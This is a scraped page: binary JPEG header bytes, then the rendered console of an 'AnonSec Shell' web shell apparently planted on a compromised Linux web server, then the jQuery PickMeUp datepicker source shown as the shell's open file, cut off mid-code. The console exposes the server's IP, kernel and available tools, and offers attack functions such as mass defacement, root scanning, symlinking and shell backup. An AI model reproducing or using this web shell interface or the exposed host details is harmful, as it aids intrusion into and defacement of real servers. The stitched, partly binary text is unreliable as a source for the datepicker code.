JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/portais/cmdev/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/portais/cmdev/assets/js/jquery.pickmeup.js
/**
 * @package        PickMeUp - jQuery datepicker plugin
 * @author        Nazar Mokrynskyi <nazar@mokrynskyi.com>
 * @author        Stefan Petre <www.eyecon.ro>
 * @copyright    Copyright (c) 2013-2014, Nazar Mokrynskyi
 * @copyright    Copyright (c) 2008-2009, Stefan Petre
 * @license        MIT License, see license.txt
 */
(function (d) {
    function getMaxDays() {
        var tmpDate = new Date(this.toString()),
            d       = 28,
            m       = tmpDate.getMonth();
        while (tmpDate.getMonth() == m) {
            ++d;
            tmpDate.setDate(d);
        }
        return d - 1;
    }

    d.addDays      = function (n) {
        this.setDate(this.getDate() + n);
    };
    d.addMonths    = function (n) {
        var day = this.getDate();
        this.setDate(1);
        this.setMonth(this.getMonth() + n);
        this.setDate(Math.min(day, getMaxDays.apply(this)));
    };
    d.addYears     = function (n) {
        var day = this.getDate();
        this.setDate(1);
        this.setFullYear(this.getFullYear() + n);
        this.setDate(Math.min(day, getMaxDays.apply(this)));
    };
    d.getDayOfYear = function () {
        var now  = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
        var then = new Date(this.getFullYear(), 0, 0, 0, 0, 0);
        var time = now - then;
        return Math.floor(time / 24 * 60 * 60 * 1000);
    };
})(Date.prototype);
(function ($) {
    var instances_count = 0;
    $.pickmeup          = $.extend($.pickmeup || {}, {
        date: new Date,
        flat: false,
        first_day: 1,
        prev: '&#9664;',
        next: '&#9654;',
        mode: 'single',
        select_year: true,
        select_month: true,
        select_day: true,
        view: 'days',
        calendars: 1,
        format: 'd-m-Y',
        position: 'bottom',
        trigger_event: 'click touchstart',
        class_name: '',
        separator: ' - ',
        hide_on_select: false,
        min: null,
        max: null,
        render: function () {
        },
        change: function () {
            return true;
        },
        before_show: function () {
            return true;
        },
        show: function () {
            return true;
        },
        hide: function () {
            return true;
        },
        fill: function () {
            return true;
        },
        locale: {
            days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'],
            daysShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'],
            daysMin: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su'],
            months: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
            monthsShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
        }
    });
    var views           = {
            years: 'pmu-view-years',
            months: 'pmu-view-months',
            days: 'pmu-view-days'
        },
        tpl             = {
            wrapper: '<div class="pickmeup" />',
            head: function (d) {
                var result = '';
                for (var i = 0; i < 7; ++i) {
                    result += '<div>' + d.day[i] + '</div>'
                }
                return '<div class="pmu-instance">' +
                    '<nav>' +
                    '<div class="pmu-prev pmu-button">' + d.prev + '</div>' +
                    '<div class="pmu-month pmu-button" />' +
                    '<div class="pmu-next pmu-button">' + d.next + '</div>' +
                    '</nav>' +
                    '<nav class="pmu-day-of-week">' + result + '</nav>' +
                    '</div>';
            },
            body: function (elements, container_class_name) {
                var result = '';
                for (var i = 0; i < elements.length; ++i) {
                    result += '<div class="' + elements[i].class_name + ' pmu-button">' + elements[i].text + '</div>'
                }
                return '<div class="' + container_class_name + '">' + result + '</div>';
            }
        };

    function fill() {
        var options      = $(this).data('pickmeup-options'),
            pickmeup     = this.pickmeup,
            current_cal  = Math.floor(options.calendars / 2),
            actual_date  = options.date,
            current_date = options.current,
            local_date,
            header,
            html,
            instance,
            today        = (new Date).setHours(0, 0, 0, 0).valueOf(),
            shown_date_from,
            shown_date_to,
            tmp_date;
        /**
         * Remove old content except header navigation
         */
        pickmeup.find('.pmu-instance > :not(nav)').remove();
        /**
         * If several calendars should be shown
         */
        for (var i = 0; i < options.calendars; i++) {
            local_date = new Date(current_date);
            instance   = pickmeup.find('.pmu-instance').eq(i);
            if (pickmeup.hasClass('pmu-view-years')) {
                local_date.addYears((i - current_cal) * 12);
                header = (local_date.getFullYear() - 6) + ' - ' + (local_date.getFullYear() + 5);
            } else if (pickmeup.hasClass('pmu-view-months')) {
                local_date.addYears(i - current_cal);
                header = local_date.getFullYear();
            } else if (pickmeup.hasClass('pmu-view-days')) {
                local_date.addMonths(i - current_cal);
                header = formatDate(local_date, 'B, Y', options.locale);
            }
            if (!shown_date_to) {
                if (options.max) {
                    // If all dates in this month (months in year or years in years block) are after max option - set next month as current
                    // in order not to show calendar with all disabled dates
                    tmp_date = new Date(local_date);
                    if (options.select_day) {
                        tmp_date.addMonths(options.calendars - 1);
                    } else if (options.select_month) {
                        tmp_date.addYears(options.calendars - 1);
                    } else {
                        tmp_date.addYears((options.calendars - 1) * 12);
                    }
                    if (tmp_date > options.max) {
                        --i;
                        current_date.addMonths(-1);
                        shown_date_to = undefined;
                        continue;
                    }
                }
            }
            shown_date_to = new Date(local_date);
            if (!shown_date_from) {
                shown_date_from = new Date(local_date);
                // If all dates in this month are before min option - set next month as current in order not to show calendar with all disabled dates
                shown_date_from.setDate(1);
                shown_date_from.addMonths(1);
                shown_date_from.addDays(-1);
                if (options.min && options.min > shown_date_from) {
                    --i;
                    current_date.addMonths(1);
                    shown_date_from = undefined;
                    continue;
                }
            }
            instance
                .find('.pmu-month')
                .text(header);
            html                   = '';
            var is_year_selected   = function (year) {
                return (
                        options.mode == 'range' &&
                        year >= new Date(actual_date[0]).getFullYear() &&
                        year <= new Date(actual_date[1]).getFullYear()
                    ) ||
                    (
                        options.mode == 'multiple' &&
                        actual_date.reduce(function (prev, current) {
                            prev.push(new Date(current).getFullYear());
                            return prev;
                        }, []).indexOf(year) !== -1
                    ) ||
                    new Date(actual_date).getFullYear() == year;
            };
            var is_months_selected = function (year, month) {
                var first_year  = new Date(actual_date[0]).getFullYear(),
                    lastyear    = new Date(actual_date[1]).getFullYear(),
                    first_month = new Date(actual_date[0]).getMonth(),
                    last_month  = new Date(actual_date[1]).getMonth();
                return (
                        options.mode == 'range' &&
                        year > first_year &&
                        year < lastyear
                    ) ||
                    (
                        options.mode == 'range' &&
                        year == first_year &&
                        year < lastyear &&
                        month >= first_month
                    ) ||
                    (
                        options.mode == 'range' &&
                        year > first_year &&
                        year == lastyear &&
                        month <= last_month
                    ) ||
                    (
                        options.mode == 'range' &&
                        year == first_year &&
                        year == lastyear &&
                        month >= first_month &&
                        month <= last_month
                    ) ||
                    (
                        options.mode == 'multiple' &&
                        actual_date.reduce(function (prev, current) {
                            current = new Date(current);
                            prev.push(current.getFullYear() + '-' + current.getMonth());
                            return prev;
                        }, []).indexOf(year + '-' + month) !== -1
                    ) ||
                    (
                        new Date(actual_date).getFullYear() == year &&
                        new Date(actual_date).getMonth() == month
                    )
            };
            (function () {
                var years           = [],
                    start_from_year = local_date.getFullYear() - 6,
                    min_year        = new Date(options.min).getFullYear(),
                    max_year        = new Date(options.max).getFullYear(),
                    year;
                for (var j = 0; j < 12; ++j) {
                    year = {
                        text: start_from_year + j,
                        class_name: []
                    };
                    if (
                        (
                            options.min && year.text < min_year
                        ) ||
                        (
                            options.max && year.text > max_year
                        )
                    ) {
                        year.class_name.push('pmu-disabled');
                    } else if (is_year_selected(year.text)) {
                        year.class_name.push('pmu-today');
                    }
                    year.class_name = year.class_name.join(' ');
                    years.push(year);
                }
                html += tpl.body(years, 'pmu-years');
            })();
            (function () {
                var months       = [],
                    current_year = local_date.getFullYear(),
                    min_year     = new Date(options.min).getFullYear(),
                    min_month    = new Date(options.min).getMonth(),
                    max_year     = new Date(options.max).getFullYear(),
                    max_month    = new Date(options.max).getMonth(),
                    month;
                for (var j = 0; j < 12; ++j) {
                    month = {
                        text: options.locale.monthsShort[j],
                        class_name: []
                    };
                    if (
                        (
                            options.min &&
                            (
                                current_year < min_year ||
                                (
                                    j < min_month && current_year == min_year
                                )
                            )
                        ) ||
                        (
                            options.max &&
                            (
                                current_year > max_year ||
                                (
                                    j > max_month && current_year >= max_year
                                )
                            )
                        )
                    ) {
                        month.class_name.push('pmu-disabled');
                    } else if (is_months_selected(current_year, j)) {
                        month.class_name.push('pmu-today');
                    }
                    month.class_name = month.class_name.join(' ');
                    months.push(month);
                }
                html += tpl.body(months, 'pmu-months');
            })();
            (function () {
                var days          = [],
                    current_month = local_date.getMonth(),
                    day;
                // Correct first day in calendar taking into account first day of week (Sunday or Monday)
                (function () {
                    local_date.setDate(1);
                    var day = (local_date.getDay() - options.first_day) % 7;
                    local_date.addDays(-(day + (day < 0 ? 7 : 0)));
                })();
                for (var j = 0; j < 42; ++j) {
                    day = {
                        text: local_date.getDate(),
                        class_name: []
                    };
                    if (current_month != local_date.getMonth()) {
                        day.class_name.push('pmu-not-in-month');
                    }
                    if (local_date.getDay() == 0) {
                        day.class_name.push('pmu-sunday');
                    } else if (local_date.getDay() == 6) {
                        day.class_name.push('pmu-saturday');
                    }
                    var from_user = options.render(local_date) || {},
                        val       = local_date.valueOf(),
                        disabled  = (options.min && options.min > local_date) || (options.max && options.max < local_date);
                    if (from_user.disabled || disabled) {
                        day.class_name.push('pmu-disabled');
                    } else if (
                        from_user.selected ||
                        options.date == val ||
                        $.inArray(val, options.date) !== -1 ||
                        (
                            options.mode == 'range' && val >= options.date[0] && val <= options.date[1]
                        )
                    ) {
                        day.class_name.push('pmu-selected');
                    }
                    if (val == today) {
                        day.class_name.push('pmu-today');
                    }
                    if (from_user.class_name) {
                        day.class_name.push(from_user.class_name);
                    }
                    day.class_name = day.class_name.join(' ');
                    days.push(day);
                    // Move to next day
                    local_date.addDays(1);
                }
                html += tpl.body(days, 'pmu-days');
            })();
            instance.append(html);
        }
        shown_date_from.setDate(1);
        shown_date_to.setDate(1);
        shown_date_to.addMonths(1);
        shown_date_to.addDays(-1);
        pickmeup.find('.pmu-prev').css(
            'visibility',
            options.min && options.min >= shown_date_from ? 'hidden' : 'visible'
        );
        pickmeup.find('.pmu-next').css(
            'visibility',
            options.max && options.max <= shown_date_to ? 'hidden' : 'visible'
        );
        options.fill.apply(this);
    }

    function parseDate(date, format, separator, locale) {
        if (date.constructor == Date) {
            return date;
        } else if (!date) {
            return new Date;
        }
        var splitted_date = date.split(separator);
        if (splitted_date.length > 1) {
            splitted_date.forEach(function (element, index, array) {
                array[index] = parseDate($.trim(element), format, separator, locale);
            });
            return splitted_date;
        }
        var months_text = locale.monthsShort.join(')(') + ')(' + locale.months.join(')('),
            separator   = new RegExp('[^0-9a-zA-Z(' + months_text + ')]+'),
            parts       = date.split(separator),
            against     = format.split(separator),
            d,
            m,
            y,
            h,
            min,
            now         = new Date();
        for (var i = 0; i < parts.length; i++) {
            switch (against[i]) {
                case 'b':
                    m = locale.monthsShort.indexOf(parts[i]);
                    break;
                case 'B':
                    m = locale.months.indexOf(parts[i]);
                    break;
                case 'd':
                case 'e':
                    d = parseInt(parts[i], 10);
                    break;
                case 'm':
                    m = parseInt(parts[i], 10) - 1;
                    break;
                case 'Y':
                case 'y':
                    y = parseInt(parts[i], 10);
                    y += y > 100 ? 0 : (y < 29 ? 2000 : 1900);
                    break;
                case 'H':
                case 'I':
                case 'k':
                case 'l':
                    h = parseInt(parts[i], 10);
                    break;
                case 'P':
                case 'p':
                    if (/pm/i.test(parts[i]) && h < 12) {
                        h += 12;
                    } else if (/am/i.test(parts[i]) && h >= 12) {
                        h -= 12;
                    }
                    break;
                case 'M':
                    min = parseInt(parts[i], 10);
                    break;
            }
        }
        var parsed_date = new Date(
            y === undefined ? now.getFullYear() : y,
            m === undefined ? now.getMonth() : m,
            d === undefined ? now.getDate() : d,
            h === undefined ? now.getHours() : h,
            min === undefined ? now.getMinutes() : min,
            0
        );
        if (isNaN(parsed_date * 1)) {
            parsed_date = new Date;
        }
        return parsed_date;
    }

    function formatDate(date, format, locale) {
        var m  = date.getMonth();
        var d  = date.getDate();
        var y  = date.getFullYear();
        var w  = date.getDay();
        var s  = {};
        var hr = date.getHours();
        var pm = (hr >= 12);
        var ir = (pm) ? (hr - 12) : hr;
        var dy = date.getDayOfYear();
        if (ir == 0) {
            ir = 12;
        }
        var min   = date.getMinutes();
        var sec   = date.getSeconds();
        var parts = format.split(''), part;
        for (var i = 0; i < parts.length; i++) {
            part = parts[i];
            switch (part) {
                case 'a':
                    part = locale.daysShort[w];
                    break;
                case 'A':
                    part = locale.days[w];
                    break;
                case 'b':
                    part = locale.monthsShort[m];
                    break;
                case 'B':
                    part = locale.months[m];
                    break;
                case 'C':
                    part = 1 + Math.floor(y / 100);
                    break;
                case 'd':
                    part = (d < 10) ? ("0" + d) : d;
                    break;
                case 'e':
                    part = d;
                    break;
                case 'H':
                    part = (hr < 10) ? ("0" + hr) : hr;
                    break;
                case 'I':
                    part = (ir < 10) ? ("0" + ir) : ir;
                    break;
                case 'j':
                    part = (dy < 100) ? ((dy < 10) ? ("00" + dy) : ("0" + dy)) : dy;
                    break;
                case 'k':
                    part = hr;
                    break;
                case 'l':
                    part = ir;
                    break;
                case 'm':
                    part = (m < 9) ? ("0" + (1 + m)) : (1 + m);
                    break;
                case 'M':
                    part = (min < 10) ? ("0" + min) : min;
                    break;
                case 'p':
                case 'P':
                    part = pm ? "PM" : "AM";
                    break;
                case 's':
                    part = Math.floor(date.getTime() / 1000);
                    break;
                case 'S':
                    part = (sec < 10) ? ("0" + sec) : sec;
                    break;
                case 'u':
                    part = w + 1;
                    break;
                case 'w':
                    part = w;
                    break;
                case 'y':
                    part = ('' + y).substr(2, 2);
                    break;
                case 'Y':
                    part = y;
                    break;
            }
            parts[i] = part;
        }
        return parts.join('');
    }

    function update_date() {
        var $this        = $(this),
            options      = $this.data('pickmeup-options'),
            current_date = options.current,
            new_value;
        switch (options.mode) {
            case 'multiple':
                new_value = current_date.setHours(0, 0, 0, 0).valueOf();
                if ($.inArray(new_value, options.date) !== -1) {
                    $.each(options.date, function (index, value) {
                        if (value == new_value) {
                            options.date.splice(index, 1);
                            return false;
                        }
                        return true;
                    });
                } else {
                    options.date.push(new_value);
                }
                break;
            case 'range':
                if (!options.lastSel) {
                    options.date[0] = current_date.setHours(0, 0, 0, 0).valueOf();
                }
                new_value = current_date.setHours(0, 0, 0, 0).valueOf();
                if (new_value <= options.date[0]) {
                    options.date[1] = options.date[0];
                    options.date[0] = new_value;
                } else {
                    options.date[1] = new_value;
                }
                options.lastSel = !options.lastSel;
                break;
            default:
                options.date = current_date.valueOf();
                break;
        }
        var prepared_date = prepareDate(options);
        if ($this.is('input')) {
            $this.val(options.mode == 'single' ? prepared_date[0] : prepared_date[0].join(options.separator));
        }
        options.change.apply(this, prepared_date);
        if (
            options.hide_on_select &&
            (
                options.mode != 'range' ||
                !options.lastSel
            )
        ) {
            options.binded.hide();
            return false;
        }
    }

    function click(e) {
        var el = $(e.target);
        if (!el.hasClass('pmu-button')) {
            el = el.closest('.pmu-button');
        }
        if (el.length) {
            if (el.hasClass('pmu-disabled')) {
                return false;
            }
            var $this          = $(this),
                options        = $this.data('pickmeup-options'),
                instance       = el.parents('.pmu-instance').eq(0),
                root           = instance.parent(),
                instance_index = $('.pmu-instance', root).index(instance);
            if (el.parent().is('nav')) {
                if (el.hasClass('pmu-month')) {
                    options.current.addMonths(instance_index - Math.floor(options.calendars / 2));
                    if (root.hasClass('pmu-view-years')) {
                        // Shift back to current date, otherwise with min value specified may jump on few (tens) years forward
                        if (options.mode != 'single') {
                            options.current = new Date(options.date[options.date.length - 1]);
                        } else {
                            options.current = new Date(options.date);
                        }
                        if (options.select_day) {
                            root.removeClass('pmu-view-years').addClass('pmu-view-days');
                        } else if (options.select_month) {
                            root.removeClass('pmu-view-years').addClass('pmu-view-months');
                        }
                    } else if (root.hasClass('pmu-view-months')) {
                        if (options.select_year) {
                            root.removeClass('pmu-view-months').addClass('pmu-view-years');
                        } else if (options.select_day) {
                            root.removeClass('pmu-view-months').addClass('pmu-view-days');
                        }
                    } else if (root.hasClass('pmu-view-days')) {
                        if (options.select_month) {
                            root.removeClass('pmu-view-days').addClass('pmu-view-months');
                        } else if (options.select_year) {
                            root.removeClass('pmu-view-days').addClass('pmu-view-years');
                        }
                    }
                } else {
                    if (el.hasClass('pmu-prev')) {
                        options.binded.prev(false);
                    } else {
                        options.binded.next(false);
                    }
                }
            } else if (!el.hasClass('pmu-disabled')) {
                if (root.hasClass('pmu-view-years')) {
                    options.current.setFullYear(parseInt(el.text(), 10));
                    if (options.select_month) {
                        root.removeClass('pmu-view-years').addClass('pmu-view-months');
                    } else if (options.select_day) {
                        root.removeClass('pmu-view-years').addClass('pmu-view-days');
                    } else {
                        options.binded.update_date();
                    }
                } else if (root.hasClass('pmu-view-months')) {
                    options.current.setMonth(instance.find('.pmu-months .pmu-button').index(el));
                    options.current.setFullYear(parseInt(instance.find('.pmu-month').text(), 10));
                    if (options.select_day) {
                        root.removeClass('pmu-view-months').addClass('pmu-view-days');
                    } else {
                        options.binded.update_date();
                    }
                    // Move current month to the first place
                    options.current.addMonths(Math.floor(options.calendars / 2) - instance_index);
                } else {
                    var val = parseInt(el.text(), 10);
                    options.current.addMonths(instance_index - Math.floor(options.calendars / 2));
                    if (el.hasClass('pmu-not-in-month')) {
                        options.current.addMonths(val > 15 ? -1 : 1);
                    }
                    options.current.setDate(val);
                    options.binded.update_date();
                }
            }
            options.binded.fill();
        }
        return false;
    }

    function prepareDate(options) {
        var result;
        if (options.mode == 'single') {
            result = new Date(options.date);
            return [formatDate(result, options.format, options.locale), result];
        } else {
            result = [[], []];
            $.each(options.date, function (nr, val) {
                var date = new Date(val);
                result[0].push(formatDate(date, options.format, options.locale));
                result[1].push(date);
            });
            return result;
        }
    }

    function show(force) {
        var pickmeup = this.pickmeup;
        if (force || !pickmeup.is(':visible')) {
            var $this    = $(this),
                options  = $this.data('pickmeup-options'),
                pos      = $this.offset(),
                viewport = {
                    l: document.documentElement.scrollLeft,
                    t: document.documentElement.scrollTop,
                    w: document.documentElement.clientWidth,
                    h: document.documentElement.clientHeight
                },
                top      = pos.top,
                left     = pos.left;
            options.binded.fill();
            if ($this.is('input')) {
                $this
                    .pickmeup('set_date', parseDate($this.val(), options.format, options.separator, options.locale))
                    .keydown(function (e) {
                        if (e.which == 9) {
                            $this.pickmeup('hide');
                        }
                    });
            }
            options.before_show();
            switch (options.position) {
                case 'top':
                    top -= pickmeup.outerHeight();
                    break;
                case 'left':
                    left -= pickmeup.outerWidth();
                    break;
                case 'right':
                    left += this.offsetWidth;
                    break;
                case 'bottom':
                    top += this.offsetHeight;
                    break;
            }
            if (top + pickmeup.offsetHeight > viewport.t + viewport.h) {
                top = pos.top - pickmeup.offsetHeight;
            }
            if (top < viewport.t) {
                top = pos.top + this.offsetHeight + pickmeup.offsetHeight;
            }
            if (left + pickmeup.offsetWidth > viewport.l + viewport.w) {
                left = pos.left - pickmeup.offsetWidth;
            }
            if (left < viewport.l) {
                left = pos.left + this.offsetWidth
            }
            if (options.show() == false) {
                return;
            }
            pickmeup.css({
                display: 'inline-block',
                top: top + 'px',
                left: left + 'px'
            });
            $(document)
                .on(
                    'mousedown' + options.events_namespace,
                    options.binded.hide
                )
                .on(
                    'resize' + options.events_namespace,
                    [
                        true
                    ],
                    options.binded.forced_show
                );
        }
    }

    function forced_show() {
        show.call(this, true);
    }

    function hide(e) {
        if (
            !e ||
            !e.target ||														//Called directly
            (
                e.target != this &&												//Clicked not on element itself
                !(this.pickmeup.get(0).compareDocumentPosition(e.target) & 16)	//And not o its children
            )
        ) {
            var pickmeup = this.pickmeup,
                options  = $(this).data('pickmeup-options');
            if (options.hide() != false) {
                pickmeup.hide();
                $(document)
                    .off('mousedown', options.binded.hide)
                    .off('resize', options.binded.forced_show);
                options.date[1] = options.date[0];
                options.lastSel = false;
            }
        }
    }

    function update() {
        var options = $(this).data('pickmeup-options');
        $(document)
            .off('mousedown', options.binded.hide)
            .off('resize', options.binded.forced_show);
        options.binded.forced_show();
    }

    function clear() {
        var options = $(this).data('pickmeup-options');
        if (options.mode != 'single') {
            options.date    = [];
            options.lastSel = false;
            options.binded.fill();
        }
    }

    function prev(fill) {
        if (typeof fill == 'undefined') {
            fill = true;
        }
        var root    = this.pickmeup;
        var options = $(this).data('pickmeup-options');
        if (root.hasClass('pmu-view-years')) {
            options.current.addYears(-12);
        } else if (root.hasClass('pmu-view-months')) {
            options.current.addYears(-1);
        } else if (root.hasClass('pmu-view-days')) {
            options.current.addMonths(-1);
        }
        if (fill) {
            options.binded.fill();
        }
    }

    function next(fill) {
        if (typeof fill == 'undefined') {
            fill = true;
        }
        var root    = this.pickmeup;
        var options = $(this).data('pickmeup-options');
        if (root.hasClass('pmu-view-years')) {
            options.current.addYears(12);
        } else if (root.hasClass('pmu-view-months')) {
            options.current.addYears(1);
        } else if (root.hasClass('pmu-view-days')) {
            options.current.addMonths(1);
        }
        if (fill) {
            options.binded.fill();
        }
    }

    function get_date(formatted) {
        var options       = $(this).data('pickmeup-options'),
            prepared_date = prepareDate(options);
        if (typeof formatted === 'string') {
            var date = prepared_date[1];
            if (date.constructor == Date) {
                return formatDate(date, formatted, options.locale)
            } else {
                return date.map(function (value) {
                    return formatDate(value, formatted, options.locale);
                });
            }
        } else {
            return prepared_date[formatted ? 0 : 1];
        }
    }

    function set_date(date) {
        var options  = $(this).data('pickmeup-options');
        options.date = date;
        if (typeof options.date === 'string') {
            options.date = parseDate(options.date, options.format, options.separator, options.locale).setHours(0, 0, 0, 0);
        } else if (options.date.constructor == Date) {
            options.date.setHours(0, 0, 0, 0);
        }
        if (!options.date) {
            options.date = new Date;
            options.date.setHours(0, 0, 0, 0);
        }
        if (options.mode != 'single') {
            if (options.date.constructor != Array) {
                options.date = [options.date.valueOf()];
                if (options.mode == 'range') {
                    options.date.push(((new Date(options.date[0])).setHours(0, 0, 0, 0)).valueOf());
                }
            } else {
                for (var i = 0; i < options.date.length; i++) {
                    options.date[i] = (parseDate(options.date[i], options.format, options.separator, options.locale).setHours(0, 0, 0, 0)).valueOf();
                }
                if (options.mode == 'range') {
                    options.date[1] = ((new Date(options.date[1])).setHours(0, 0, 0, 0)).valueOf();
                }
            }
        } else {
            options.date = options.date.constructor == Array ? options.date[0].valueOf() : options.date.valueOf();
        }
        options.current = new Date(options.mode != 'single' ? options.date[0] : options.date);
        options.binded.fill();
    }

    function destroy() {
        var $this   = $(this),
            options = $this.data('pickmeup-options');
        $this.removeData('pickmeup-options');
        $this.off(options.events_namespace);
        $(document).off(options.events_namespace);
        $(this.pickmeup).remove();
    }

    $.fn.pickmeup = function (initial_options) {
        if (typeof initial_options === 'string') {
            var data,
                parameters = Array.prototype.slice.call(arguments, 1);
            switch (initial_options) {
                case 'hide':
                case 'show':
                case 'clear':
                case 'update':
                case 'prev':
                case 'next':
                case 'destroy':
                    this.each(function () {
                        data = $(this).data('pickmeup-options');
                        if (data) {
                            data.binded[initial_options]();
                        }
                    });
                    break;
                case 'get_date':
                    data = this.data('pickmeup-options');
                    if (data) {
                        return data.binded.get_date(parameters[0]);
                    } else {
                        return null;
                    }
                    break;
                case 'set_date':
                    this.each(function () {
                        data = $(this).data('pickmeup-options');
                        if (data) {
                            data.binded[initial_options].apply(this, parameters);
                        }
                    });
            }
            return this;
        }
        return this.each(function () {
            var $this = $(this);
            if ($this.data('pickmeup-options')) {
                return;
            }
            var i,
                option,
                options = $.extend({}, $.pickmeup, initial_options || {});
            for (i in options) {
                option = $this.data('pmu-' + i);
                if (typeof option !== 'undefined') {
                    options[i] = option;
                }
            }
            // 4 conditional statements in order to account all cases
            if (options.view == 'days' && !options.select_day) {
                options.view = 'months';
            }
            if (options.view == 'months' && !options.select_month) {
                options.view = 'years';
            }
            if (options.view == 'years' && !options.select_year) {
                options.view = 'days';
            }
            if (options.view == 'days' && !options.select_day) {
                options.view = 'months';
            }
            options.calendars = Math.max(1, parseInt(options.calendars, 10) || 1);
            options.mode      = /single|multiple|range/.test(options.mode) ? options.mode : 'single';
            if (typeof options.min === 'string') {
                options.min = parseDate(options.min, options.format, options.separator, options.locale).setHours(0, 0, 0, 0);
            } else if (options.min && options.min.constructor == Date) {
                options.min.setHours(0, 0, 0, 0);
            }
            if (typeof options.max === 'string') {
                options.max = parseDate(options.max, options.format, options.separator, options.locale).setHours(0, 0, 0, 0);
            } else if (options.max && options.max.constructor == Date) {
                options.max.setHours(0, 0, 0, 0);
            }
            if (!options.select_day) {
                if (options.min) {
                    options.min = new Date(options.min);
                    options.min.setDate(1);
                    options.min = options.min.valueOf();
                }
                if (options.max) {
                    options.max = new Date(options.max);
                    options.max.setDate(1);
                    options.max = options.max.valueOf();
                }
            }
            if (typeof options.date === 'string') {
                options.date = parseDate(options.date, options.format, options.separator, options.locale).setHours(0, 0, 0, 0);
            } else if (options.date.constructor == Date) {
                options.date.setHours(0, 0, 0, 0);
            }
            if (!options.date) {
                options.date = new Date;
                options.date.setHours(0, 0, 0, 0);
            }
            if (options.mode != 'single') {
                if (options.date.constructor != Array) {
                    options.date = [options.date.valueOf()];
                    if (options.mode == 'range') {
                        options.date.push(((new Date(options.date[0])).setHours(0, 0, 0, 0)).valueOf());
                    }
                } else {
                    for (i = 0; i < options.date.length; i++) {
                        options.date[i] = (parseDate(options.date[i], options.format, options.separator, options.locale).setHours(0, 0, 0, 0)).valueOf();
                    }
                    if (options.mode == 'range') {
                        options.date[1] = ((new Date(options.date[1])).setHours(0, 0, 0, 0)).valueOf();
                    }
                }
                options.current = new Date(options.date[0]);
                // Set days to 1 in order to handle them consistently
                if (!options.select_day) {
                    for (i = 0; i < options.date.length; ++i) {
                        options.date[i] = new Date(options.date[i]);
                        options.date[i].setDate(1);
                        options.date[i] = options.date[i].valueOf();
                        // Remove duplicates
                        if (
                            options.mode != 'range' &&
                            options.date.indexOf(options.date[i]) !== i
                        ) {
                            delete options.date.splice(i, 1);
                            --i;
                        }
                    }
                }
            } else {
                options.date    = options.date.valueOf();
                options.current = new Date(options.date);
                if (!options.select_day) {
                    options.date = new Date(options.date);
                    options.date.setDate(1);
                    options.date = options.date.valueOf();
                }
            }
            options.current.setDate(1);
            options.current.setHours(0, 0, 0, 0);
            var cnt,
                pickmeup  = $(tpl.wrapper);
            this.pickmeup = pickmeup;
            if (options.class_name) {
                pickmeup.addClass(options.class_name);
            }
            var html = '';
            for (i = 0; i < options.calendars; i++) {
                cnt = options.first_day;
                html += tpl.head({
                    prev: options.prev,
                    next: options.next,
                    day: [
                        options.locale.daysMin[(cnt++) % 7],
                        options.locale.daysMin[(cnt++) % 7],
                        options.locale.daysMin[(cnt++) % 7],
